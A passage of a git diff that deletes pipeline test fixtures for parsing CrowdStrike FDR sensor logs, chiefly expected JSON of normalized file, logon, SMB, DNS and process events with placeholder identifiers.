"ffffffff896b43725b83c79aa79959da", - "os": { - "type": "windows" - } - }, - "message": "FsVolumeUnmounted", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff896b43725b83c79aa79959da", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1717987648455", - "thread": { - "id": 55064470042288 - } - }, - "related": { - "hash": [ - "666346415" - ], - "ip": [ - "67.43.156.13" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T15:57:11.298Z", - "crowdstrike": { - "AuthenticationId": "703298", - "ConfigStateHash": "2642284486", - "ContextProcessId": "1161025471861", - "ContextTimeStamp": "2020-11-08T15:57:10.593Z", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "FileEcpBitmask": "0", - "FileObject": "18446664963104449168", - "IrpFlags": "1028", - "IsOnNetwork": "0", - "IsOnRemovableDisk": "1", - "MajorFunction": "18", - "MinorFunction": "0", - "OperationFlags": "0", - "TokenType": "1", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-800a-06cecfd73923", - "name": "GenericFileWrittenV11" - }, - "device": { - "id": "ffffffff16bf4c7bb5ad755a4722025c" - }, - "event": { - "action": "creation", - "category": [ - "file" - ], - "created": "2020-11-08T15:57:11.298Z", - "id": "ffffffff-1111-11eb-800a-06cecfd73923|ffffffff16bf4c7bb5ad755a4722025c|ffffffff30a3407dae27d0503611022d", - "original": "{\"AuthenticationId\":\"703298\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2642284486\",\"ContextProcessId\":\"1161025471861\",\"ContextThreadId\":\"34929528116709\",\"ContextTimeStamp\":\"1604851030.593\",\"DiskParentDeviceInstanceId\":\"USB\\\\VID_1058\\u0026PID_2621\\\\57583431453939315A4C5255\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"FileEcpBitmask\":\"0\",\"FileIdentifier\":\"262fbc677256cf4c8d6c6a227285a072c06830873b000000\",\"FileObject\":\"18446664963104449168\",\"IrpFlags\":\"1028\",\"IsOnNetwork\":\"0\",\"IsOnRemovableDisk\":\"1\",\"MajorFunction\":\"18\",\"MinorFunction\":\"0\",\"OperationFlags\":\"0\",\"Size\":\"517029\",\"TargetFileName\":\"c:\\\\Device\\\\HarddiskVolume5\\\\01.png.tmp$$\",\"TokenType\":\"1\",\"UserName\":\"user9\",\"aid\":\"ffffffff16bf4c7bb5ad755a4722025c\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"GenericFileWritten\",\"id\":\"ffffffff-1111-11eb-800a-06cecfd73923\",\"name\":\"GenericFileWrittenV11\",\"timestamp\":\"1604851031298\"}" - }, - "file": { - "device": "USB\\VID_1058&PID_2621\\57583431453939315A4C5255", - "directory": "c:\\Device\\HarddiskVolume5", - "drive_letter": "C", - "extension": "tmp$$", - "inode": "262fbc677256cf4c8d6c6a227285a072c06830873b000000", - "name": "01.png.tmp$$", - "path": "c:\\Device\\HarddiskVolume5\\01.png.tmp$$", - "size": 517029, - "type": "file" - }, - "host": { - "id": "ffffffff16bf4c7bb5ad755a4722025c", - "os": { - "type": "windows" - } - }, - "message": "GenericFileWritten", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffff16bf4c7bb5ad755a4722025c", - "version": "1007.3.0011603.1" - }, - "process": { - "entity_id": "1161025471861", - "thread": { - "id": 34929528116709 - } - }, - "related": { - "hash": [ - "2642284486" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user9" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "user9" - } - }, - { - "@timestamp": "2024-05-07T10:46:39.943Z", - "crowdstrike": { - "AuthenticationId": "111112312312312321", - "ConfigStateHash": "821711964", - "ContextTimeStamp": "2024-05-07T10:46:39.690Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "LogonTime": "2024-05-07T10:46:39.631Z", - "LogonType": "2", - "PasswordLastSet": "1706789855.733", - "UserGroupsBitmask": "0", - "UserLogonFlags": "6", - "UserName": "user-1", - "cid": "1d1d1d1d1d1d1d1d1", - "info": { - "host": { - "AgentLoadFlags": "0", - "AgentLocalTime": "1714620029.775", - "AgentTimeOffset": "454032", - "AgentVersion": "7.14.18305.0", - "ChassisType": "Other", - "City": "Bengaluru", - "ConfigBuild": "1007.4.0018305.10", - "ConfigIDBuild": "18305", - "Continent": "Asia", - "Country": "India", - "FirstSeen": "1701672920.000", - "HostHiddenStatus": "Visible", - "SystemManufacturer": "Apple Inc.", - "SystemProductName": "Mac14, 2", - "Time": "1715074061.000", - "Timezone": "Asia/Kolkata", - "Version": "Ventura (13)", - "cid": "11d1d1d1dd1d1d1d1d1", - "event_platform": "Mac" - }, - "user": { - "AccountType": "Local", - "LastLoggedOnHost": "User-1-MacBook-Air.local", - "LogonTime": "1715076000.000", - "LogonType": "Interactive", - "PasswordLastSet": "1706789855.733", - "UserIsAdmin": "1", - "_time": "1715076916.290", - "cid": "1d1d1d1d1d1d1d1d1", - "monthsincereset": "3.0" - } - }, - "name": "UserLogonMacV1" - }, - "event": { - "created": "2024-05-07T10:46:39.943Z", - "id": "||1d1d1d1d1d1d1d1d1", - "original": "{\"UserIsAdmin\": \"1\", \"LogonTime\": \"1715078799.631\", \"UserSid\": \"S-1-5-21-1111-11111-387821029-2004\", \"event_platform\": \"Mac\", \"EffectiveTransmissionClass\": \"2\", \"timestamp\": \"1715078799943\", \"info\": { \"host\": { \"Timezone\": \"Asia/Kolkata\", \"ServicePackMajor\": \"none\", \"PointerSize\": \"none\", \"SiteName\": \"none\", \"AgentVersion\": \"7.14.18305.0\", \"Time\": \"1715074061.000\", \"MachineDomain\": \"none\", \"event_platform\": \"Mac\", \"AgentTimeOffset\": \"454032\", \"Version\": \"Ventura (13)\", \"AgentLoadFlags\": \"0\", \"BiosVersion\": \"none\", \"FalconGroupingTags\": \"none\", \"SystemProductName\": \"Mac14, 2\", \"OU\": \"none\", \"ProductType\": \"none\", \"City\": \"Bengaluru\", \"ConfigBuild\": \"1007.4.0018305.10\", \"SensorGroupingTags\": \"none\", \"Continent\": \"Asia\", \"FirstSeen\": \"1701672920.000\", \"HostHiddenStatus\": \"Visible\", \"BiosManufacturer\": \"none\", \"AgentLocalTime\": \"1714620029.775\", \"Country\": \"India\", \"ChassisType\": \"Other\", \"SystemManufacturer\": \"Apple Inc.\", \"ConfigIDBuild\": \"18305\", \"cid\": \"11d1d1d1dd1d1d1d1d1\" }, \"user\": { \"UserIsAdmin\": \"1\", \"monthsincereset\": \"3.0\", \"User\": \"USER-1-MACBOOK-AIR.LOCAL\\\\USER-1\", \"LogonTime\": \"1715076000.000\", \"PasswordLastSet\": \"1706789855.733\", \"LogonType\": \"Interactive\", \"AccountType\": \"Local\", \"LastLoggedOnHost\": \"User-1-MacBook-Air.local\", \"_time\": \"1715076916.290\", \"cid\": \"1d1d1d1d1d1d1d1d1\" } }, \"ContextTimeStamp\": \"1715078799.690\", \"UserName\": \"user-1\", \"ConfigStateHash\": \"821711964\", \"LogonType\": \"2\", \"AuthenticationId\": \"111112312312312321\", \"UserPrincipal\": \"user-1@User-1-MacBook-Air.local\", \"PasswordLastSet\": \"1706789855.733\", \"Entitlements\": \"15\", \"name\": \"UserLogonMacV1\", \"UserLogonFlags\": \"6\", \"UserGroupsBitmask\": \"0\", \"cid\": \"1d1d1d1d1d1d1d1d1\"}" - }, - "host": { - "os": { - "type": "macos" - } - }, - "related": { - "hash": [ - "821711964" - ], - "hosts": [ - "User-1-MacBook-Air.local" - ], - "user": [ - "USER-1-MACBOOK-AIR.LOCAL\\USER-1", - "user-1", - "user-1@User-1-MacBook-Air.local", - "S-1-5-21-1111-11111-387821029-2004" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": [ - "USER-1-MACBOOK-AIR.LOCAL", - "User-1-MacBook-Air.local" - ], - "email": "user-1@User-1-MacBook-Air.local", - "full_name": "user-1", - "id": "S-1-5-21-1111-11111-387821029-2004", - "name": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", - "roles": [ - "admin" - ] - } - }, - { - "@timestamp": "2024-08-01T11:31:27.123Z", - "crowdstrike": { - "ActiveDirectoryAuthenticationMethod": "0", - "ActivityId": "E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC", - "AuthenticationActivityId": "0737DAC6-66AE-42DE-B10A-FD151AE99B86", - "ContextTimeStamp": "2024-05-07T10:46:39.690Z", - "SourceAccountDomain": "EXAMPLE.COM", - "SourceAccountObjectGuid": "62915660-5725-4B71-A494-46793F88877A", - "SourceAccountObjectSid": "S-1-5-21-333333333-333333333-3333333333-333333", - "SourceAccountSamAccountName": "bar", - "SourceEndpointAccountObjectGuid": "9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8", - "SourceEndpointAccountObjectSid": "S-1-5-21-222222222-222222222-2222222222-222222", - "SourceEndpointAddressIP4": "192.168.0.1", - "SourceEndpointHostName": "FOO", - "SourceEndpointNetworkTag": "AWS-XXX", - "SourceEndpointNetworkType": "1", - "TargetDomainControllerObjectGuid": "11111111-1111-1111-1111-111111111111", - "TargetDomainControllerObjectSid": "S-1-5-21-111111111-111111111-1111111111-111111", - "cid": "11111111111111111111111111111111", - "name": "ActiveDirectoryInteractiveDomainLogonV2" - }, - "event": { - "created": "2024-08-01T11:31:27.123Z", - "id": "||11111111111111111111111111111111", - "original": "{\"ActiveDirectoryAuthenticationMethod\":\"0\",\"ActivityId\":\"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC\",\"AuthenticationActivityId\":\"0737DAC6-66AE-42DE-B10A-FD151AE99B86\",\"ContextTimeStamp\":\"1715078799.690\",\"SourceAccountDomain\":\"EXAMPLE.COM\",\"SourceAccountObjectGuid\":\"62915660-5725-4B71-A494-46793F88877A\",\"SourceAccountObjectSid\":\"S-1-5-21-333333333-333333333-3333333333-333333\",\"SourceAccountSamAccountName\":\"bar\",\"SourceEndpointAccountObjectGuid\":\"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8\",\"SourceEndpointAccountObjectSid\":\"S-1-5-21-222222222-222222222-2222222222-222222\",\"SourceEndpointAddressIP4\":\"192.168.0.1\",\"SourceEndpointHostName\":\"FOO\",\"SourceEndpointNetworkTag\":\"AWS-XXX\",\"SourceEndpointNetworkType\":\"1\",\"TargetDomainControllerObjectGuid\":\"11111111-1111-1111-1111-111111111111\",\"TargetDomainControllerObjectSid\":\"S-1-5-21-111111111-111111111-1111111111-111111\",\"aip\":\"\",\"cid\":\"11111111111111111111111111111111\",\"event_platform\":\"Win\",\"name\":\"ActiveDirectoryInteractiveDomainLogonV2\",\"timestamp\":\"2024-08-01T11:31:27.123Z\"}" - }, - "host": { - "os": { - "type": "windows" - } - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-01-27T20:26:33.697Z", - "crowdstrike": { - "ConfigStateHash": "1063377105", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "17", - "SmbShareName": "C$", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "5df90d92-3d9f-44e5-a095-428decb3d3f3", - "name": "SmbServerShareOpenedEtwV1" - }, - "destination": { - "address": "0:0:0:0:0:0:0:1", - "domain": "AzureAD", - "ip": "0:0:0:0:0:0:0:1" - }, - "device": { - "id": "1152404d33614d3bbfe87a5fe7bac47b" - }, - "event": { - "action": "SmbServerShareOpenedEtw", - "category": [ - "network" - ], - "created": "2025-01-27T20:26:33.697Z", - "id": "5df90d92-3d9f-44e5-a095-428decb3d3f3|1152404d33614d3bbfe87a5fe7bac47b|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"event_simpleName\":\"SmbServerShareOpenedEtw\",\"UserName\":\"person@dom1.com\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1063377105\",\"DomainName\":\"AzureAD\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.3.0019011.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SmbServerShareOpenedEtwV1\",\"EventOrigin\":\"17\",\"id\":\"5df90d92-3d9f-44e5-a095-428decb3d3f3\",\"SmbShareName\":\"C$\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"1152404d33614d3bbfe87a5fe7bac47b\",\"timestamp\":\"1738009593697\",\"cid\":\"ffffffff30a3407dae27d0503611022d\"}", - "outcome": "success", - "type": [ - "connection", - "start" - ] - }, - "host": { - "id": "1152404d33614d3bbfe87a5fe7bac47b", - "os": { - "type": "windows" - } - }, - "message": "SmbServerShareOpenedEtw", - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "1152404d33614d3bbfe87a5fe7bac47b", - "version": "1007.3.0019011.15" - }, - "related": { - "hash": [ - "1063377105" - ], - "ip": [ - "67.43.156.14", - "0:0:0:0:0:0:0:1" - ], - "user": [ - "person@dom1.com" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "name": "person@dom1.com" - } - }, - { - "@timestamp": "2025-01-27T20:22:44.034Z", - "crowdstrike": { - "ConfigStateHash": "138674525", - "ContextBaseFileName": "SenseImdsCollector.exe", - "ContextProcessId": "683613242245", - "ContextTimeStamp": "2025-01-27T20:22:57.497Z", - "DnsRequestCount": 1, - "DualRequest": "1", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "EventOrigin": "1", - "InterfaceIndex": 0, - "QueryStatus": "9003", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "3d0ef474-fcc3-4f18-9ad6-7130d8ddb407", - "name": "DnsRequestV5" - }, - "device": { - "id": "31e92a267c044d57b1c1e14109079e89" - }, - "dns": { - "question": { - "name": "metadata.google.internal", - "type": "AAAA" - }, - "type": "query" - }, - "event": { - "action": "DnsRequest", - "category": [ - "network" - ], - "created": "2025-01-27T20:22:44.034Z", - "id": "3d0ef474-fcc3-4f18-9ad6-7130d8ddb407|31e92a267c044d57b1c1e14109079e89|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"ContextBaseFileName\":\"SenseImdsCollector.exe\",\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1738009377.497\",\"ConfigStateHash\":\"138674525\",\"ContextProcessId\":\"683613242245\",\"DomainName\":\"metadata.google.internal\",\"ContextThreadId\":\"31712204862362\",\"aip\":\"67.43.156.14\",\"QueryStatus\":\"9003\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"1007.3.0019011.15\",\"event_platform\":\"Win\",\"DnsRequestCount\":\"1\",\"DualRequest\":\"1\",\"Entitlements\":\"15\",\"name\":\"DnsRequestV5\",\"EventOrigin\":\"1\",\"id\":\"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"31e92a267c044d57b1c1e14109079e89\",\"timestamp\":\"1738009364034\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"RequestType\":\"28\"}", - "outcome": "success", - "type": [ - "protocol" - ] - }, - "host": { - "id": "31e92a267c044d57b1c1e14109079e89", - "os": { - "type": "windows" - } - }, - "message": "DnsRequest", - "network": { - "protocol": "dns" - }, - "observer": { - "address": [ - "67.43.156.14" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.14" - ], - "serial_number": "31e92a267c044d57b1c1e14109079e89", - "version": "1007.3.0019011.15" - }, - "process": { - "entity_id": "683613242245", - "name": "SenseImdsCollector.exe", - "thread": { - "id": 31712204862362 - } - }, - "related": { - "hash": [ - "138674525" - ], - "ip": [ - "67.43.156.14" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2022-08-16T08:01:09.410Z", - "crowdstrike": { - "AuthenticationId": "29530993", - "ConfigStateHash": "518095218", - "EffectiveTransmissionClass": "3", - "Entitlements": "15", - "ImageSubsystem": "2", - "IntegrityLevel": "8192", - "MD5HashData": "e570911fc2ab74ecf0dc59f324318f6e", - "ParentAuthenticationId": "29530993", - "ProcessCreateFlags": "1024", - "ProcessParameterFlags": "24577", - "ProcessSxsFlags": "64", - "SHA256HashData": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2", - "SessionId": "1", - "SourceProcessId": "434985540832797032", - "SourceThreadId": "434985668331321297", - "Tags": [ - "25", - "27", - "862", - "874", - "924", - "12094627905582", - "12094627906234" - ], - "TokenType": "2", - "cid": "1301ac65ae144fbb9689a8472f828c2e", - "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf", - "name": "ProcessRollup2V19" - }, - "device": { - "id": "50deaa55144543089a1f463b568cdc53" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2022-08-16T08:01:09.410Z", - "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf|50deaa55144543089a1f463b568cdc53|1301ac65ae144fbb9689a8472f828c2e", - "kind": "event", - "original": "{\"ProcessCreateFlags\":\"1024\",\"IntegrityLevel\":\"8192\",\"ParentProcessId\":\"434985540832797032\",\"SourceProcessId\":\"434985540832797032\",\"aip\":\"89.160.20.120\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"UserSid\":\"S-1-5-21-4084637156-299436391-3671333128-115430\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"ProcessEndTime\":\"\",\"ParentBaseFileName\":\"EmUser.exe\",\"ImageSubsystem\":\"2\",\"id\":\"9686a6b3-1d39-11ed-9370-0660bfa16adf\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"1\",\"Tags\":\"25, 27, 862, 874, 924, 12094627905582, 12094627906234\",\"timestamp\":\"1660636869410\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"18446744072636268557\",\"ConfigStateHash\":\"518095218\",\"MD5HashData\":\"e570911fc2ab74ecf0dc59f324318f6e\",\"SHA256HashData\":\"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2\",\"ProcessSxsFlags\":\"64\",\"AuthenticationId\":\"29530993\",\"ConfigBuild\":\"1007.3.0015103.1\",\"CommandLine\":\"\\\"C:\\\\Program Files\\\\nirsoft\\\\SoundVolumeView.exe\\\" /SetDefault \\\"Teradici Virtual Audio Driver\\\\device\\\\speakers\\\\\\\" all\",\"ParentAuthenticationId\":\"29530993\",\"TargetProcessId\":\"434985669758362104\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\NirSoft\\\\SoundVolumeView.exe\",\"SourceThreadId\":\"434985668331321297\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2V19\",\"ProcessStartTime\":\"1660636868.576\",\"ProcessParameterFlags\":\"24577\",\"aid\":\"50deaa55144543089a1f463b568cdc53\",\"cid\":\"1301ac65ae144fbb9689a8472f828c2e\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "host": { - "id": "50deaa55144543089a1f463b568cdc53", - "os": { - "type": "windows" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "89.160.20.120" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.120" - ], - "serial_number": "50deaa55144543089a1f463b568cdc53", - "version": "1007.3.0015103.1" - }, - "process": { - "Ext": { - "token": { - "integrity_level_name": "MEDIUM" - } - }, - "args": [ - "C:\\Program Files\\nirsoft\\SoundVolumeView.exe", - "/SetDefault", - "Teradici Virtual Audio Driver\\device\\speakers\" all" - ], - "args_count": 3, - "command_line": "\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all", - "entity_id": "434985669758362104", - "executable": "\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe", - "hash": { - "md5": "e570911fc2ab74ecf0dc59f324318f6e", - "sha256": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2" - }, - "name": "SoundVolumeView.exe", - "parent": { - "entity_id": "434985540832797032", - "name": "EmUser.exe" - }, - "pid": -1073283059, - "start": "2022-08-16T08:01:08.576Z" - }, - "related": { - "hash": [ - "e570911fc2ab74ecf0dc59f324318f6e", - "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2", - "518095218" - ], - "ip": [ - "89.160.20.120" - ], - "user": [ - "S-1-5-21-4084637156-299436391-3671333128-115430" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "id": "S-1-5-21-4084637156-299436391-3671333128-115430" - } - }, - { - "@timestamp": "2025-03-27T17:02:25.000Z", - "crowdstrike": { - "AgentTimeOffset": 6.3878693E10, - "ConfigBuild": "1007.32.20250201.9", - "ConfigIDBuild": "20250201", - "FirstSeen": "2025-03-20T05:18:57.000Z", - "HostHiddenStatus": "visible", - "SystemManufacturer": "Apple", - "cid": "55555555555555555555555555555555" - }, - "device": { - "id": "44444444444444444444444444444444" - }, - "event": { - "created": "2025-03-27T17:02:25.000Z", - "id": "|44444444444444444444444444444444|55555555555555555555555555555555", - "original": "{\"AgentLoadFlags\":\"none\",\"AgentLocalTime\":\"none\",\"AgentTimeOffset\":\"63878691745\",\"AgentVersion\":\"2025.02.1\",\"BiosManufacturer\":\"none\",\"BiosVersion\":\"none\",\"ChassisType\":\"none\",\"City\":\"Bengaluru\",\"ComputerName\":\"none\",\"ConfigBuild\":\"1007.32.20250201.9\",\"ConfigIDBuild\":\"20250201\",\"Continent\":\"Asia\",\"Country\":\"India\",\"FalconGroupingTags\":\"none\",\"FirstSeen\":\"1742447937.000\",\"HostHiddenStatus\":\"visible\",\"MachineDomain\":\"none\",\"OU\":\"none\",\"PointerSize\":\"none\",\"ProductType\":\"none\",\"SensorGroupingTags\":\"none\",\"ServicePackMajor\":\"none\",\"SiteName\":\"none\",\"SystemManufacturer\":\"Apple\",\"SystemProductName\":\"none\",\"Time\":\"1743094945.000\",\"Timezone\":\"Asia/Kolkata\",\"Version\":\"iOS 18.3.2\",\"aid\":\"44444444444444444444444444444444\",\"aip\":\"0.0.0.0\",\"cid\":\"55555555555555555555555555555555\",\"event_platform\":\"iOS\"}" - }, - "host": { - "geo": { - "city_name": "Bengaluru", - "continent_name": "Asia", - "country_name": "India", - "timezone": "Asia/Kolkata" - }, - "id": "44444444444444444444444444444444", - "os": { - "type": "ios", - "version": "iOS 18.3.2" - } - }, - "observer": { - "address": [ - "0.0.0.0" - ], - "ip": [ - "0.0.0.0" - ], - "serial_number": "44444444444444444444444444444444", - "version": "2025.02.1" - }, - "related": { - "ip": [ - "0.0.0.0" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2020-11-08T17:05:34.000Z", - "crowdstrike": { - "AuthenticationId": "317005428", - "AuthenticationPackage": "Negotiate", - "ConfigStateHash": "3950066843", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "LogoffTime": "2020-11-08T17:05:32.756Z", - "LogonServer": "srv2", - "LogonTime": "2020-11-08T17:05:31.666Z", - "LogonType": "7", - "PasswordLastSet": "1598119332.510", - "RemoteAccount": "1", - "UserFlags": "32", - "UserLogoffType": "3", - "UserLogonFlags": "0", - "cid": "ffffffff30a3407dae27d0503611022d", - "id": "ffffffff-1111-11eb-8913-0287fd11c79b", - "name": "UserLogoffV3" - }, - "device": { - "id": "ffffffffe0104823bd3de859d5bc8bc7" - }, - "event": { - "action": "UserLogoff", - "category": [ - "authentication" - ], - "created": "2020-11-08T17:05:34.000Z", - "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d", - "kind": "event", - "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"UTCTimestamp\":\"1604855134\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "domain": "dom1", - "id": "ffffffffe0104823bd3de859d5bc8bc7", - "os": { - "type": "windows" - } - }, - "message": "UserLogoff", - "observer": { - "address": [ - "67.43.156.13" - ], - "geo": { - "continent_name": "Asia", - "country_iso_code": "BT", - "country_name": "Bhutan", - "location": { - "lat": 27.5, - "lon": 90.5 - } - }, - "ip": [ - "67.43.156.13" - ], - "serial_number": "ffffffffe0104823bd3de859d5bc8bc7", - "version": "1007.3.0011603.1" - }, - "related": { - "hash": [ - "3950066843" - ], - "hosts": [ - "srv2" - ], - "ip": [ - "67.43.156.13" - ], - "user": [ - "user4", - "user.name", - "user.name@dom2.com", - "S-1-5-21-606747145-1364589140-725345543-28636" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "domain": "dom2.com", - "email": "user.name@dom2.com", - "full_name": "user.name", - "id": "S-1-5-21-606747145-1364589140-725345543-28636", - "name": "user4" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log deleted file mode 100644 index 6f96985067..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log +++ /dev/null @@ -1 +0,0 @@ -{"ComputerName":"xxxxxxxxxxxxxxxx","CurrentLocalIP":"192.168.1.35","FirstDiscoveredDate":"1680533704.111","LastDiscoveredBy":"1fffffffffffffffffffffffffffffff","LocalAddressIP4":"192.168.1.129 192.168.1.35","MAC":"BB-AA-AA-AA-CC-CC","MACPrefix":"BB-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"$192.168.1.129$;$192.168.1.35$","__mv_aip":"$192.168.255.7$;$192.168.240.243$","__mv_discoverer_aid":"","_time":"1680769502.395","aip":"192.168.255.7 192.168.240.243","aipCount":"2","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","discovererCount":"1","discoverer_aid":"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb","localipCount":"2","subnet":"192.168"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json deleted file mode 100644 index 276e6c7b12..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json +++ /dev/null @@ -1,64 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2023-04-06T08:25:02.395Z", - "crowdstrike": { - "CurrentLocalIP": "192.168.1.35", - "FirstDiscoveredDate": "2023-04-03T14:55:04.111Z", - "LastDiscoveredBy": "1fffffffffffffffffffffffffffffff", - "LocalAddressIP4": [ - "192.168.1.129", - "192.168.1.35" - ], - "MACPrefix": "BB-AA-AA", - "NeighborName": "!!!!UNKNOWN!!!!", - "__mv_LocalAddressIP4": "$192.168.1.129$;$192.168.1.35$", - "__mv_aip": "$192.168.255.7$;$192.168.240.243$", - "aipCount": 2, - "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "discovererCount": 1, - "discoverer_aid": "bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb", - "localipCount": 2, - "subnet": "192.168" - }, - "event": { - "created": "2023-04-06T08:25:02.395Z", - "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", - "original": "{\"ComputerName\":\"xxxxxxxxxxxxxxxx\",\"CurrentLocalIP\":\"192.168.1.35\",\"FirstDiscoveredDate\":\"1680533704.111\",\"LastDiscoveredBy\":\"1fffffffffffffffffffffffffffffff\",\"LocalAddressIP4\":\"192.168.1.129 